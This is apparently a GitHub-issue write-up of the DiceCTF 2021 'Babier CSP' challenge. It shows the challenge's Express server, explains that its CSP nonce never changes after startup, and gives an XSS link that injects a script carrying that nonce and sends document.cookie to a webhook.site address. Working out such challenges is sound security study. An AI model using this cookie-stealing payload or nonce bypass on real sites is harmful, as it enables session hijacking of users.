aszx87410 / ctf-writeups

ctf writeups

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

DiceCTF 2021 - Babier CSP

aszx87410 opened this issue · comments

commented

The goal is to steal admin's cookie so we know it's something to do with XSS.

So all we need to do is generate a link with XSS and submit to admin bot.

source code:

const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;

const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');

const template = name => `
<html>

${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>

<script nonce=${NONCE}>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>
`;

app.get('/', (req, res) => {
  res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
  res.send(template(req.query.name || ""));
})

app.use('/' + SECRET, express.static(__dirname + "/secret"));

app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`)
})

If you look carefully, you should find that nonce won't changed after server started, so it's quite easy to bypass CSP.

https://babier-csp.dicec.tf/?name=
</h1><script nonce="LRGWAXOY98Es0zz0QOVmag==">
window.location = 
'https://webhook.site/b3d7bde5-a4c4-4794-a026-225bb6dec91d?c='%2bdocument.cookie
</script>

Then we can get a link from cookie: https://babier-csp.dicec.tf/4b36b1b8e47f761263796b1defd80745/

Follow the link we can get the flag: